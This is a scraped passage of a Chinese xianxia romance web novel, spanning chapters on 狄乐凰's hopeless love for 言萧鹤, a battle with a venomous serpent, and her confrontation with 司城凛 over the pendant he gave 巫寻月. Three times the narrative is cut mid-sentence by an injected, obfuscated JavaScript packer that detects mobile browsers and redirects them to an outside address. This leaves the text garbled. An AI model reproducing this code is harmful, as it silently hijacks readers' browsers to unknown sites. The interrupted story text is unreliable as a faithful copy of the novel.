“是啊,我每天都在怀念……”狄乐凰也沉浸其中,“有了与森罗老祖一战,加上我为他稳灵重塑脉络,很快他便参悟了封灵境,练成必杀技……那夜我陪着他,亲眼见他一瞬生出许多白发,我心痛得哭了。我一哭,他便慌了神,趁他安慰我之时,我吻了他。” 巫寻月捂住嘴,崇拜地看着她:“学姐你真的是……你简直是我的偶像!” 狄乐凰虽是痴痴一笑,却也掺杂太多无奈:“他……他太不会表达,对我也太小心翼翼,若不是我先主动,无论如何他也不会……然后我就告诉他,我对他早已是一见倾心。” “他说什么?” 狄乐凰摇摇头,嘴角蜜笑却不减:“他什么也没说,只是抱紧我……他就是这个样子,我就想,那我慢慢等,总有一天我能等到他学会表达爱意……” 巫寻月心头已起预感,或许那并非单纯的不会表达。可见她如此沉浸其中,只好试问:“你们之后在一起了吗?” 果不其然,狄乐凰神色一变,话中甜蜜也渐转苦涩:“那很短暂……直到现在我都觉得像做梦一样,不久后他调息完毕,与封灵级的灵力顺利相融,便去挑战了他的封座,也就是上一任八令座首。他成功了,随后那位封座大人带他面见了天听阁与诸位在任封号灵师,提出禅位于他,经决议通过了……没多久,他便向我摊牌,先说我年纪小不懂事,又说我们年龄差距太大不能相配,后又说他一阶武夫不会变通,无心参与宗门纷争,还说什么他非世家大族……总之说了很多借口。” 巫寻月听罢,沉了口气,说:“学姐,你有没有想过,他说这些不是什么借口,而是太在意你,真的考虑过和你的问题,才有的这重重顾虑。” 狄乐凰看了她一眼,有些欣慰,道:“我自是知道他心里有我,他骗不了我,可他如此固执,我怎么也说不通,后来他便不愿见我了,总想办法躲着我……上次你见到,还是我骗他说我练真灵境必杀技时灵力出了问题,他才肯来见我。” 话音落下了良久,巫寻月知道,故事结束了。她不知所言,握了握狄乐凰的手,说:“学姐,若是眼下已无其他办法,我不反对你继续这么做,只是……你也得注意自己的身体。” 狄乐凰眼中含泪,回握住她的手,动容道:“寻月,真的谢谢你,我将这些说给我好姐妹,她们无一人理解,也无一人支持,甚至她们觉得他说得对极了,说他有自知之明……” 轮到巫寻月沉默了。她竟没想到,狄乐凰的经历与她如此相似,想来,她应该是能明白她的心境的。所以她想,对她说原原本本的实话。 半晌,巫寻月叹了口气,开了口:“学姐,我没想到,我们会有如此相同心事……” 狄乐凰的愁容竟一扫而空,眨眼间就切成了对八卦的向往:“嗯?你是如何?” “你问我为何猜你如此之准,是因为……你做了我想做而不敢做之事。” 狄乐凰两眼放光,单刀入里,直切核心:“——他是何人?” 可就连这个最基本的问题,也是巫寻月最核心的难处。她话里全是委屈:“……我不知道,他不告诉我。” “……这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我将此灵器说与丹青,她说她帮我去问司城郡主即可,很快便有了答复,”巫寻月神色黯然,满是失落,“司城家中人说,这罡灵坠原是世子之物,但多年前他便已送人了,侍从并不知道所赠何人。所以……我也真的,没有别的办法了……” 巫寻月将罡灵坠从领口掏出,递到狄乐凰面前。 狄乐凰看着这灵器,震撼之心高出方才巫寻月数十百倍。且,也不是到了此刻才开始震撼的。 她一直细听,心中隐约已有猜想。毕竟,那样级别的灵力,那样自律严苛的作风,那般行事说话的姿态,还有她所描述的他的外貌神态,竟还有梅见蹊写的推荐信…… 直到这她亲眼见过在何人手中的罡灵坠出现。 这天下哪还有第二个人。 只有一点不对。巫寻月说那人在她面前,隐约总有笑意,还主动问了许多她的事,这一点,和他绝对不像。 ——司城凛哪来那么多话,哪来那么多表情。 且,既她已问到司城迦染那里,早该得到答案了,可司城家竟说这坠子司城凛多年前早已送人——可明明,狄乐凰上一次见到在司城凛手里的日子,并不遥远。 这或许说明,这是司城凛交代的答案。 那么,至少此时,他并不想巫寻月找到他。 即便狄乐凰知她心境,与她感同身受,也同样心疼她为她着急,可,她与梅见蹊一样,无论平日如何无畏,但凡事关司城世子,一点也马虎不得。 ——那可是司城凛,未来的司城家宗主,灵族宗门之首,还是现今最年轻的封号灵师,真不敢想未来他得可怕成什么样。 所以,为了这一点不确定,狄乐凰都不能有任何表现,万一错漏,她开罪不起。 狄乐凰心痛极了。明明方才两人才对彼此掏心掏肺,明明她全然能明白她的苦楚,可现在,她竟无法给她等同的坦诚和鼓励。 狄乐凰将罡灵坠放回巫寻月手中,紧握她的手,说:“我明白了,你是想再问问世子,这罡灵坠……他赠给了何人。” 巫寻月怯弱地看着她,问:“学姐,你可能帮我?” 她还真能。而且,还很快。 狄乐凰说了实话:“寻月,实不相瞒,近日我正考虑离都修炼,毕竟在神都耳目众多,我怕瞒不住我在修双修系之事,而我所计划的目的地……正是边境。” 巫寻月一惊,当即喜形于色:“可是能见到世子?” 狄乐凰浅浅一笑:“边境多祸乱灵兽,适合我修炼,且我的确原也打算去会一会他,看看他能否指点我一二。” 这简直于巫寻月是天降之喜。她已然按捺不住,脑子也不清醒了:“可学姐,世子不是控制系灵师吗?可能指点你?” 狄乐凰要笑话她了:“傻姑娘,世子是封号灵师,哪怕从指缝里漏出那么一点强攻系术法,我可也是小命难保了呀。” 巫寻月后知后觉,也自嘲一笑,又问:“那……你要去多久?” “归期未定,自然是得看修炼情况,我也希望我早些功成。”见她面带急切却又不敢言明,狄乐凰更是心疼,只好说:“若是有了好消息,我可先捎信给你。” “……好,”巫寻月说不出更多话了,“谢谢你,真的谢谢你,学姐。” 狄乐凰神色略有不安,她紧握着巫寻月的手,无奈地道:“只盼……我真的能帮到你才好。” 24. 第 24 章 24. 在巫寻月此番诉说中,令狄乐凰震惊的又何止一件事,可,司城凛一搬出来,其他的都显得那么微不足道了。 比如,她竟能找到传说中的仙品寻月草……此株灵草,是长隐洲唯一与狄家天赋不谋而合之草药,狄家也只是听说,从未见过,甚至一度怀疑是否真的存在。纵使见过臻品等级的,那效用于狄家归元赋来说,仅仅如同一剂伤寒药,喝了无碍,可也无用。 不过,狄乐凰从巫寻月的描述中也窥见了仙品寻月草与归元赋之不同。父亲升封灵境时,以归元赋调息三个时辰便可恢复,且经重塑脉络后,灵力如洪。而司城凛——假设真的是他,升封灵境后服用仙品寻月草,待到次日午间才苏醒,且依旧有些气虚力弱,还需自我调息许久才能恢复。 从前初闻仙品寻月草时,狄家中有族老担心,若仙品寻月草可媲美归元赋,这会动摇狄家五大宗族的地位。可现在听来,已无需担心——这也是狄乐凰不那么着急的原因。 当时她便宽慰父亲,狄家先祖历经万年积淀,多少次在生死一线间与天争命、与强周旋;多少次血脉几近枯竭,却最终破而后立、绝处逢生。归元赋在这万年沉浮之中,涅槃淬炼多次,几乎等同于灵族立族天道之一,绝不会因一朝一夕出现的灵草、灵药乃至什么秘法而动摇根基。 当时父亲被她说动,直叹她长大了。且因这传闻中的仙品寻月草一直未见真身,此事也就不了了之了。 只是,若巫寻月真能为司城凛找来仙品寻月草,那她的确非一般之天赋。 她会如同一颗新星一般,让同代之人都为她的光芒所折服,难以望其项背。 狄乐凰留巫寻月在府中小住,巫寻月自知会打扰她修炼,晚些时候就告辞回学校了。侍女如早前所言,带她从侧门出,狄家专属座驾镇虚鳐已在城门外等候。 那镇虚鳐凌空而停,身形扁平宽阔,通体附着银灰色鳞甲,甲片边缘处流光灵纹不时闪现,其翼型边缘柔软如缎,飘逸如流云。 只是……巫寻月想起狄乐凰说过,她正是召来此灵兽将她和言萧鹤二人送回神都的,可眼下看来,这头镇虚鳐体型不算太大,所拉车驾也不大,若要两人同乘,实是小了些。 一旁侍女解了她的疑惑:“这是子鳐,所带车驾专用于单人短途乘坐,若是远途,就要请出它的父母呢。” 巫寻月恍然大悟:“原来是如此。” 镇虚鳐先是拉着车驾行陆路出城门,然后腾空而起,入了云间。镇虚鳐飞行平稳,巫寻月感到如履平地,不出一刻钟便回到了学校。到达地点仍是断崖,这里是神都学宫私家车驾的接驳处,旬休日全天开放,不受限制。 狄乐凰给她塞了一大包吃食,她抱着偌大的包裹遁形,踉踉跄跄才回到宿舍。 时候不早了,三位舍友都在,巫寻月把点心摆到桌上,招呼她们过来一起吃。点心是侍女后来才塞过来的,直到打开后巫寻月才知道……这多得都能出去摆个摊子了。 各式各样,精工巧制,一看就不是随便就能买到的。鹿晴晴尝了一口便被折服,立马问:“你这是在哪家铺子买的啊?” 巫寻月想起来玉文瑛,决定说:“在西城北边,可不好找,也是路过偶然瞧见的。” 鹿晴晴对神都城算是颇有了解:“西城北边,那是大户人家聚集地,难怪这点心一看就不便宜呢。” 只有定雪莲一眼瞧出哪里不对,定睛拿起那雪柔酥酪,吃了一口,更是奇了:“这雪柔酥酪,怎和我家乡那位师傅做得如此之像……” 巫寻月不明所以,问:“怎么了?” 定雪莲告诉她:“这点心名为雪柔酥酪,是我家乡蛟州特产,我之前两次到神都城去找都未找到哪里有卖呢。” 巫寻月已然愣住,接着,定雪莲又说:“而这口味和做法更是奇了,像是出自我家乡一位名厨之手,我爹掌管城中粮政,虽不是什么大官,可对城中名厨是了然于心——这便是那位瞿师傅做的。而前几年狄家的商贸掌事到我们蛟州,吃了瞿师傅的手艺后十分惊喜,将点心带回神都让狄家宗亲品尝,果然人人都喜欢,很快便回来聘那瞿师傅到狄府中专做点心,因为给的报酬高,又能让其子女到神都读书,瞿师傅便答应了。” 此言一出,三人皆看向巫寻月。她错愕之后,只好承认:“……的确是狄府中的,今日我到狄府拜访郡主,离开时她便给我塞了些吃食,我没想到这么多,就想跟你们一起吃……” 定雪莲一听,眼睛都亮了:“真是瞿师傅做的!我就说,这么些年了我从未忘记他的手艺!” 锦章已将她心思看穿,揶揄道:“狄府的确是在西城北边,你不明说是怕我们不敢吃?还是怕我们怪你去找郡主玩儿不带我们?” “我……”巫寻月一时语塞。 只有吃货鹿晴晴一直在专注吃东西,她们说话间她已干掉了三个,边吃边说:“那可太好了,原本问你在哪家铺子买的,还得自己去买,现在好了,你下次若是再去狄府,记得也带一些回来,就跟郡主说你宿舍里有三头猪,郡主定是慷慨的。” “哈哈哈哈哈……”几个女孩都笑了起来。 巫寻月这才终于宽心了:“好好好,那你可有得等了,郡主姐姐近日刻苦修炼,我得过好一阵子才敢去打扰。” “好吃的是值得等待,你可别忘了啊!” 旬休一过,上课第一天,就陆续公布了期中考试成绩。 第一名巫寻月,第二名东方曜,第三名迟安瑜……这排名没出任何人意外,基本和老师们平日表扬频率高低相吻合。 东方曜是世家子弟,十一岁,五重灵,人话不多,开学时也没一上来就跟谁打招呼,巫寻月好长一段时间都不知此人。直到在冷夷行的武术课上,除了巫寻月以外,冷夷行第二次夸赞的便是这位东方曜,至此才知道了他的名字。 再后来有一次,巫寻月与迟安瑜讨论功课时,他主动参与进来,这才算是同学间正式打了照面。 东方家辈出强攻系高级灵师,因此,东方曜的武术底子很扎实。可巫寻月观他,却是对控制系术法更感兴趣些,与她讨论的也多是些堪舆和控术。 毕竟,一二年级所谓的公共课,其目的就是让每个人摸索自己的兴趣所在,看看自己到底喜欢什么,擅长什么,以决定好所选择的专业方向。 眼下,除了迟安瑜斩钉截铁要选医疗系之外,成绩靠前的同学皆还在观望之中。 之后过了一段时间,狄乐凰就来与巫寻月辞行了。 “父亲和母亲听说我要离都,也是多番准备,怕我又遇上去年那样的危险,所以就耽搁了些日子。”狄乐凰告诉她。此时两人一同往断崖处走,镇虚鳐已等在那里。 “既是修炼,受些伤在所难免,只是要怎么伤,伤多少,这也得由我们好好把控呢。”巫寻月说。 “是啊。” 两人已到了断崖,停下脚步,狄乐凰对她说:“我一路西行,会先到几个灵气充盈之处,路上若是遇到灵兽祸乱就要耽搁,这样下来……到边境大约是要两月。” 巫寻月明白她所指,便说:“学姐你先顾好自己的事,我的事只是顺便,如果碰不上世子就罢了,反正……他总也要回神都的。” 狄乐凰一笑:“你放心,我必是要见到他的。” 既如此,巫寻月也问:“那,你可需要将我的罡灵坠带上?” ——断然是不必,这罡灵坠对司城凛是何物,开口直接问便是。狄乐凰只好一笑,将她的手推回:“不必了,我知道该怎么问,这罡灵坠对你修炼大有助益,可不能离你这么久,且……你怎舍得?” 巫寻月红了脸,而后,也问她:“那,言封座他……” 狄乐凰收敛笑意,转身望向远处,依稀薄云之外,可远眺神都城。她说:“他知道我要走,没说什么,也不肯再见见我……便罢了吧,若我修炼成功,他不见也得见。” “好,”巫寻月还有一件要事,转而说,“上次没能问你,后来我才反应过来,你之前被鬼面蛛所伤,可有留疤?” “是有一些,桑家已为我医治,可伤口太深,总还是有些疤痕,”狄乐凰轻轻捂住心口,说,“不然,他也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674300|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么着急就……” 狄乐凰红了脸,没说完。巫寻月握住她的手,说:“我就猜到会有留疤,特想了想,我家山中或有一草药可治,可那草药也是十分难寻,我不一定能找到……” 狄乐凰一听,也有些按捺不住了,哪个女孩子不想祛除身上难看的疤痕呢。可她冷静细想,又说:“桑家已为我医治过,实无更好的办法,且现在已经很淡很淡了,可还能完全祛除吗?” 巫寻月认真思虑,才道:“只能一试,且我需要带上你一滴血作试药之用,若有用,我当场便能断出。” “好。”狄乐凰没有犹豫。 巫寻月已将装集的竹管备好,递给狄乐凰,她举起右手对着左手指尖轻轻一挑,左手指尖立刻破了皮,血珠渗出,滴进竹管之中。 巫寻月将竹管收好,冲她一笑:“等我回家,尽力为你找寻。” “我听说你家很远,学校的双凫船只送到暮沉泊,还有好几日路程,”狄乐凰握着她的手,真挚地道,“这样,这学期放假时,我让我家镇虚鳐来送你回去,一日应该是能到了。” “学姐,这……” 狄乐凰紧握她的手,不容她多说:“你为我找治伤的药才是辛苦,我叫来车驾不过一句话的事,算不得什么。” 巫寻月动容地笑了:“好,那你等我的好消息。” 狄乐凰迟了迟,才说:“那你也等我的消息。” 镇虚鳐载着狄乐凰远去了,巫寻月还站在断崖边上,远望着那薄纱般飘逸的灵鳐之翼,不由得攥紧了手。 此时距离放假已不足两月,不知在这学期结束前……能否等到她的消息。 此时正值两族和平期第三年,两族无太大冲突,各自休养生息,一派祥和。 可小范围的动乱还是有的,且多发于边境地带。比如,风族方士偷偷潜入长隐洲,一经发现,灵师就要将其逮捕驱赶,若遭抵抗,则击杀之。 又比如,风族方士光明正大进入长隐洲寻衅打斗,那多是由被挑衅的灵师应战将其驱逐,若不敌,自然也要增援——敖星泓和司城凛属于这种类型,但因为没人敢管,一般增援也无济于事,且两人间谁胜谁负也不再牵扯旁人,所以戍边灵师不仅不管,还热衷围观。 毕竟,这种巅峰天才间的对决,一生难得一见啊。 自然也有一些灵师因不同目的潜入万墟洲,但因风族对灵族天然仇恨,潜入万墟洲被发现的灵师可就不止被驱逐那么客气了,多半有去无回。 其他在长隐洲内部的动乱,也就是灵师的日常职责,处理灵爆异变的灵师,还有捕杀祸乱的灵兽。这两种祸事发生得不算频繁,可也并不少见。 狄乐凰西行停停走走,还真就碰上了一起灵兽祸乱事件。 一巨型毒虺原住山中,以低级灵兽为食,突然一天有一灵师误闯,惊扰毒虺,交战后灵师不敌,最终毒虺将他吃下。此桩事件若说是偶然,之后的事态就完全变了性质。毒虺发现吃了灵师之后修为大增,便认定可通过捕食灵师来提升修为,从此开始主动攻击灵师。 事情很快引起当地驻城灵师注意,组队前去剿灭,可那毒虺灵力大涨,三位真灵境灵师竟不是对手。事情上报至天听阁时,毒虺已吃下多位灵师,灵力达到破灵境级别。 天听阁决定,指派八令副座霜泉前往,一旦遭遇,就地诛杀。 一开始狄乐凰刚到时,毒虺还没那么强大,她还是帮了些忙的。可后来毒虺食人后灵力大增,驻城灵师与她皆是不敌,便要她速速离开了,真要把狄家郡主伤了,他们拿什么交代。 可狄乐凰不肯走,之后不出三日,她就见到了前来增援的霜泉。 身为八令副座,霜泉自然是强攻系灵师,灵力达到破灵境。既然是言萧鹤的副座,狄乐凰更是不肯走了,执意留下来观战。 见到狄乐凰时,霜泉显得非常惊讶,他想起临出门前,封座大人特意交代:“若是碰到不该在那里的神都学宫学生,将之驱离。” 霜泉本以为这不过是顺手的交代,并未多想,只领命就走,可没想到,这人竟是狄家郡主。 25. 第 25 章 25. 所以,霜泉一见到狄乐凰就开始赶人,可狄乐凰不走,他又不敢真的得罪狄家郡主。一番无奈之下,只好实话实说:“郡主,此为言封座之命,请您速速离开,不要妨碍公务。” 霜泉万万没想到,狄乐凰一听,顿时乐极了,追问道:“他……还说什么了?” 霜泉不明所以,说:“封座大人交代,若遇神都学宫学生,将之驱离。” 聪明如狄乐凰,开始玩激将法了:“你家封座大人的意思是,怕我被那灵兽伤了,可现在有你在,你将那畜生击杀后,危险不就解除了吗?难道你没有信心能将那畜生杀死?” 霜泉哪受得了这挑衅,他代表的可是整个八部令的形象,代表的可是封座大人的颜面!霜泉一言不发,转身直奔毒虺而去了。 然后,狄乐凰就和几位驻城灵师一道,观摩了这场破灵境灵师与高级灵兽间的战役。 八部令为先遣部队,擅长速战,可也不是一上来就大开必杀技。霜泉的兵刃为大刀,他先是以武战出击,人与刀已然默契无间,灵力在他催动下稳定而强力地灌注刀中,每一刀斩下都给那毒虺巨大压力,或中刀,或全力避开却仍无招架之力。 毒虺不得不逃进深山,而霜泉穷追不舍,步步紧逼,毒虺不得不背水一战,灵力大开,紫光冲天,将山谷间的天烧成了一片紫色。 若不是它已吃下多人,罪不可赦,霜泉还真想再多过几招,毕竟和平期鲜有如此对手。可眼下最要紧的,是赶紧为死去的同僚报仇——这也是天听阁指派八部令的意图。 终于,霜泉释放灵压,大开破灵境必杀技“崩山之击”。一股远比毒虺的紫光更为浩瀚、沉重的威压,自霜泉体内轰然爆发,瞬间将弥漫的毒瘴清空。 他只是将手中大刀高举过顶,刀身之上,所有的光线都被吞噬了,凝聚成一道不断微微扭曲、闪烁着黑色电芒的诡异轨迹。也并未发出喝令,刀已沉身斩落—— 没有惊天动地的爆炸,也没有飞沙走石的破坏,那毒虺庞大的身躯却猛地一僵,暴虐的瞳孔中瞬间被无尽的恐惧与茫然取代。下一秒,它那坚不可摧的鳞片之下,传来一连串细密如冰层碎裂的“咔嚓”声,声音由内而外,急速蔓延。 只见毒虺庞大的身躯,从头部开始,鳞片、肌肉、骨骼……寸寸由内而外地崩解成无数细密碎块,它甚至没能发出一声哀嚎,庞大的身躯就如同被推倒的沙垒,无声地坍塌、瓦解,最终化作一地紫黑色毒血。 而除此之外,战场一片寂静。周遭草地、岩石、树木,皆完好无损。整个过程显得过于迅速而平静,以至于观战的一位真灵级灵师难以置信地道:“这,这就结束了吗……” 另一位灵师说:“为何这必杀技看似没有太大破坏,却能如此一招制敌啊……” 的确,霜泉的破灵级必杀技“崩山之击”,在形式与范围上看起来与三位真灵级灵师无异,而三人激战几日却未能予毒虺致命之击。 狄乐凰就在一边,出身顶级宗族,她自然比几位灵师见过太多高级灵师,也更为理解何为极致力量的掌控。她说:“虽然我们所见霜泉副座的必杀技看似并不狂盛,力量却强于我们千百倍,是因为他只释放了这么多灵力,便已足够解决敌手而不对环境造成破坏。也就是说,若是面对更强劲的敌手,这力量形式还可以更强盛,只是被霜泉副座收住了而已。” 几人皆是惊叹:“原来如此……” 狄乐凰弯起嘴角,轻轻道:“你的副座,还真是实力不凡啊……” 霜泉回到这边,几位驻城灵师拥上去为他喝彩。见到狄乐凰还在,霜泉不忘言萧鹤交代,又过来劝了一嘴:“郡主,虽毒虺已灭,但此地不宜久留,您还是速速离开,我还要协助驻城灵师再进山巡查。” “哦,”狄乐凰似是没听见,问,“你家封座大人……近日在忙些什么?” “封座大人自是有诸多公务……”霜泉说完才惊觉哪里不对,眼珠子一转,问,“郡主,您问这个干什么?” “不可以吗?” “……不是,”霜泉得罪不起,只好如实说,“封座大人刚刚接手座首之职,虽之前也为副座,对令中事务早已熟悉,但毕竟座首乃全面掌权之人,还是有所不同,封座大人刚刚接手,自是有诸多公务要了解,许多事情都等着他做决策。” 狄乐凰当即进一步问:“那他是不是会忙到很晚?你们可有在他的书房放置休息的床榻?他右眼视力不佳,你们可有给他多备几盏灯?” 霜泉大为震惊,即便他是死直男想不明白这俩人的关系——他怎么敢想,封座大人得比狄郡主大了……郡主现今七年级该是十七岁,那封座大人便整整是她的两倍! 可即便他不敢想,眼下这太明显,狄乐凰也根本不想掩饰——她跟言萧鹤关系匪浅。 霜泉都磕巴了:“这些……有后勤同僚在打理,我手头公务也多,也未有都注意……” 霜泉根本不敢抬头,狄乐凰脸色明显变得很难看。 罢了,狄乐凰不再为难他。晚些时候,霜泉与驻城灵师便将狄乐凰送离了。 到达边境果然已是两月之后,隆冬腊月,天寒地冻,万里飞雪。 神都学宫已经放假了,狄乐凰没有忘记嘱咐狄家人派镇虚鳐送巫寻月回乡,下人也已传回消息,已将巫寻月顺利送回邬戍城。 那接下来,就该她去帮她见那个人了。 狄乐凰到的时候,司城凛正带人在外巡防,部下将她请到卫所中,给她烧了碳火,端来茶水。 狄乐凰四处将他这看了看,纯属好奇参观,也不曾对细节留心——这就是对朋友和爱人的区别,这要是言萧鹤的屋子,她里里外外都要看出个窟窿,万一窗子漏风,她立刻马上就得找人补上。 边境苦寒,条件简陋,没那么多点心供应。狄乐凰将苹果吃完,一壶茶喝了又喝,才终于听到屋外传来脚步声,有人行礼道:“副座大人。” 厚重的帘子掀开,司城凛一身戎装走了进来,狄乐凰起身迎他,笑道:“好久不见啊。” 司城凛见到她,感到莫名其妙——自然是早就得了消息说她要来,自那时起便莫名其妙,但仍是没什么表情。他拍掉身上的雪,解下玄青狐裘斗篷递给部下,朝里走来。 狄乐凰端详他一身,冬制的九部令玄青色劲装官服,腰间蹀躞只挂了个素雅的玉佩,头发束成一束缚于后颈,与在神都富丽堂皇的行头相比,显得尤为潦草。 狄乐凰嘴角一扯,颇为好笑:“真是难得,竟能见到你穿着如此素净。” 司城凛已落了座,给自己倒了杯茶,开口问:“听闻你离都西行修炼,可有长进?” “是有一些,比在学校里要进益不少,果然是得出来走走,”狄乐凰说完,灵光一动,试探道,“难怪你不远千里要跑去邬戍城修炼,还能这么快就封了灵。” 司城凛闻言,很是意外:“你倒是对一个边陲小城记得清楚。” 狄乐凰这理由倒是编得快:“司城世子封灵之地,想来必是仙灵宝地,我怎能不注意。” 既她如此说了,司城凛便说:“你若想在毕业前达真灵境,也可去那小住,邬戍城灵气充盈,风气淳朴,是个参悟升境的好地方。” 狄乐凰没有很快接话,她一阵思虑,见既已说到此处,索性坦白了:“我并不是为了升真灵境才出来的,我……我在练强攻术法,想以双修系毕业。” 司城凛闻言一定,抬眼看向她,直言:“你想去八部令?” 狄乐凰将身子方向一转,侧对向他,司城凛气场太强,不对着他能让她舒服些。她嘴硬道:“你管我想去哪。” 司城凛收回目光,不说话,再开口时话头已转:“若要住下,我找人给你安排;若要走,你自便。” 他这意思——你爱干嘛干嘛,不关我事。 狄乐凰这才意识到自己前来是有求于他的,只得老老实实转向他,坦诚相告:“是是是,我是想去八部令,我……我也是没有别的办法了,你就帮帮我吧。” 司城凛一语道穿:“你去找过梅见蹊了,他不肯帮你。” “……他不帮我,自有他的理由,他是学校老师,或觉得这对我并无助益,又或者想激我冲击真灵境,这样这届毕业生数据更好看罢了,”狄乐凰一通乱编,接着定神看他,“你就不一样了,你没理由啊,我无论干些什么……你也无所谓的。” 她这话不无道理,反正司城凛懒得理她想跟言萧鹤怎样,只要不是明着要他帮忙递情书,其他的他大可装作不知道。 可是——司城凛根本懒得看她,冷冰冰地道:“你灵力不够厚实,爆发力不强,以归元赋调和后更是流向平衡,是完全的控制系根骨,不适合修习强攻术法。” 狄乐凰急了,一下子站了起来:“可是我总是要提升的,虽然我现在的强攻术法只有七重灵功力,可等我升到真灵境,强攻术法不也有大概九重灵的功力吗?” “那不一样,”司城凛看向她,言辞平静却很斩切,“若你现在专注于将强攻术法提升,会改变你体内的灵流脉络,便不再具有一举冲击控制系真灵境必杀技的优势。而若是入真灵境之后,灵力重新融合,强攻术法自然跟着提升,便不会改变和破坏你的原有灵流。” “我愿意放弃现在的优势,晚些升真灵境,只要我勤加修炼,我终归是要升的,”狄乐凰蓦然间已露出哀求的神色,“可我现在……真的很需要在毕业前练成强攻系。” 司城凛一阵不语,后又直言:“你父亲若是知道,不会允准。” “我知道。”狄乐凰撇撇嘴。虽然这些她都从未跟梅见蹊和司城凛说过,但这两个人精,仿佛通了天眼似的,什么都能一眼看穿——怪不得性情天差地别也能是好朋友! 狄乐凰恭维地笑了笑,很是低声下气:“所以我这不是……找你来了,若是我爹知道是你指点我,他也不敢说什么……” 司城凛很无语。这事从小到大狄乐凰没少干,什么事只要嫁祸给司城世子,那全长隐洲都会立刻宽恕她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674301|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司城凛面无表情,道:“我没空。” 狄乐凰一个起身的大动作给他跪下了,扯了扯他的长袍,可怜巴巴道:“世子大人,我求求你了,光靠我自己这么短时间实在是不行,我这一路出来原就是想先自己试试,这不是不行才来找你的吗,距离毕业大考已不足半年了——是四个月!我真的没有别的办法了!” 司城凛打掉她的手,懒得再重复一遍。 看着他那张如上古冰川万年不化般的死人脸,狄乐凰真是气煞,可偏偏还得忍着。她灵光一转,起了身,背着双手,飘飘然道:“那你把你罡灵坠借我。” “可以。”司城凛想也不想。 “我是说另一只。” 闻言,司城凛眼底眸光一动,抬眼,正好对上狄乐凰回头浅浮的笑。司城凛不说话,狄乐凰便开诚布公了:“世子大人如此聪明,定是想明白了,我此次前来还是受人所托,帮一位姑娘问问……赠她罡灵坠的,究竟是何人。” 司城凛看向了别处,默不作声。 狄乐凰一脸震惊地扑在案几上,按捺不住激动地嚷:“——真的是你!我的天哪,我当时一边听她说,一边就觉得……这除了司城凛怎么可能还有第二个人!可是你……你……” 见他不否认,狄乐凰继续说了下去:“你这又是何意?为什么不告诉她你是谁?你是不是还交代了侍从若是她问到司城家,就说你早就送人了并不是你?” 司城凛很冷淡:“你问得太多了。” “我今天还真得问下去,”事关闺蜜幸福,狄乐凰胸中燃起火焰,越战越勇了,“司城凛,你可知她一直在找你?若是你不想她知道,你为何要她来神都?为何要给她罡灵坠?还有——你竟还让梅见蹊给她开推荐信!你分明就是铁了心一定要保她来到神都!” 沉默蔓延,司城凛仍是无话,他的神情也向来不让人辩出情感。 狄乐凰坐正,眼中已带气愠,道:“你既已知我和言萧鹤的事,就应该知道,他明明心里有我却不愿见我,我有多痛苦,我只能想尽办法做这些,即便要我放弃升真灵境我也义无反顾地去做——难道你想看寻月也这样吗?” 司城凛眼皮微动。好久没听见她的名字了,他在脑海里又回放了一遍。 他终于开口:“她和你不同。” “可你现在就跟言萧鹤一样!”狄乐凰忍不住高声怒言,“或许寻月现在是不必像我一样傻傻地做这些,可我能看到她的苦楚,我不愿她和我一样,被所爱的人蒙在鼓里!” 司城凛终于正视向她,可仍是不言,好一会,他挪开视线,起身向前。狄乐凰看着他的背影,听到他依旧冷漠地说:“我不会改变我的做法,这对我们都好。” 狄乐凰也起身过去:“——为什么?” 这次,司城凛没沉默太久,道:“你可知我父亲病重?” 狄乐凰一怔:“……是有听说,说是上次与风族一战而重伤,之后久病未愈。” “那你可知,我为何如此急着入封灵境?” 狄乐凰明白了。她愕然看着司城凛,不敢相信:“阿凛,你……司城宗主他……还……” 司城凛辞色仍无波无澜:“你既已知道,就该明白我现在的处境,我绝无可能分心其他,司城家的责任,九部令的责任,整个灵族的责任,都在我的肩上。” 轮到狄乐凰沉默了,她有些惭愧,也有些自责:“怪不得你……突然性情大变,从此只闭关修炼,我真的没想到司城宗主他……” 狄乐凰突然变得不知所措起来,她怔然看向别处,又说:“阿凛,我知道你的难处,可是……这又什么时候是个头呢?你要她就这么等下去吗?你可知女子苦等有多痛心疾首?我真不忍看她像我一样……” 司城凛开了口:“你我不是普通人,生于这样的家族,就是有不同于常人的命数。” “可你既已让她来到神都,说明你也想好了,你不愿此后与她无关,这和你的命数又有何冲突?” 司城凛突然看向她,冰冷的眼眸中多了分轻蔑:“狄家不掌十一令几千年,的确是做惯了富贵闲人。” 听出他话里的讥讽,狄乐凰有些难堪,但也嘴硬:“你说我便说我,扯我家干什么,我是没什么出息,我爹我兄姐他们可不是——我爷爷可是敢于挑战千喉睡魇的。” 